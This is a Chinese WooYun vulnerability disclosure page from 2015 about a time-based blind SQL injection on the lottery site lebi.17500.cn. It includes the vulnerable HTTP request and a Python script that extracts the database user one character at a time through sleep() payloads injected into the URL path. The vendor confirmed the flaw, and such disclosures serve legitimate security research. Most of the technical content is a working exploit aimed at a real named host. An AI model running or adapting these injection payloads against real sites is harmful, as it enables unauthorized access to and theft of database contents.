当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0111021

漏洞标题:乐彩某站SQL盲注漏洞(附测试脚本)

相关厂商:乐彩网

漏洞作者: 路人甲

提交时间:2015-04-29 14:01

修复时间:2015-06-13 15:10

公开时间:2015-06-13 15:10

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-04-29: 细节已通知厂商并且等待厂商处理中
2015-04-29: 厂商已经确认,细节仅向厂商公开
2015-05-09: 细节向核心白帽子及相关领域专家公开
2015-05-19: 细节向普通白帽子公开
2015-05-29: 细节向实习白帽子公开
2015-06-13: 细节向公众公开

简要描述:

233

详细说明:

GET /tops/index/index/lotid/3d/kpi/*.html HTTP/1.1
X-Requested-With: XMLHttpRequest
Referer: http://lebi.17500.cn
Cookie: PHPSESSID=v3j68pbl02cef24856ldl3osf6
Host: lebi.17500.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/28.0.1500.63 Safari/537.36
Accept: */*


漏洞证明:

网络不好,没跑完整的user

lecai1.png


验证脚本: (必须加上这个heads才能跑出来)

import httplib
import time
import urllib
import urllib2
headers = {"User-agent":"Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/38.0.2125.0 Safari/537.36",
"Accept": "*/*",
"Accept-Encoding" : "gzip, deflate",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive",
"Host":"lebi.17500.cn",
"Cookie":"PHPSESSID=lea2rfieig7uqltqnt626nv4u5",
"Referer":"http://lebi.17500.cn",
"X-Requested-With":"XMLHttpRequest"}
payloads = list('mnopqrstuabcdefghijklvwxyzort.1234567890@_')
print 'start to retrive MySQL user:'
user = ''
for i in range(6,20):
for payload in payloads:
try:
s = "if(now()=sysdate(),sleep(abs(ascii(mid(lower(user()),%d,1))-%d)),0)" % (i,ord(payload))
start_time = time.time()
print s
print start_time
conn = httplib.HTTPConnection('lebi.17500.cn', timeout=30)
s = "/tops/index/index/lotid/3d/kpi/if(now()=sysdate(),sleep(abs(ascii(mid(lower(user()),%d,1))-%d)),0).html " % (i, ord(payload))
conn.request(method='GET',url=s,headers=headers)
data3 = conn.getresponse().read()

except:
#print payload
continue
print time.time()
if time.time() - start_time < 1: # 网络要是很好,时间可以调低些。
user += payload
print '\n[in progress]', user
break
else:
pass
#print payload

print '\nMySQL version is', user

修复方案:

~~

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:5

确认时间:2015-04-29 15:09

厂商回复:

感谢提供漏洞信息,我们尽快修复!

最新状态:

暂无


漏洞评价:

评论

  1. 2015-04-30 23:55 | 紫霞仙子 ( 普通白帽子 | Rank:2027 漏洞数:279 | 天天向上 !!!)

    其实这洞有个很奇特的地方值得学习。没走首页可惜了。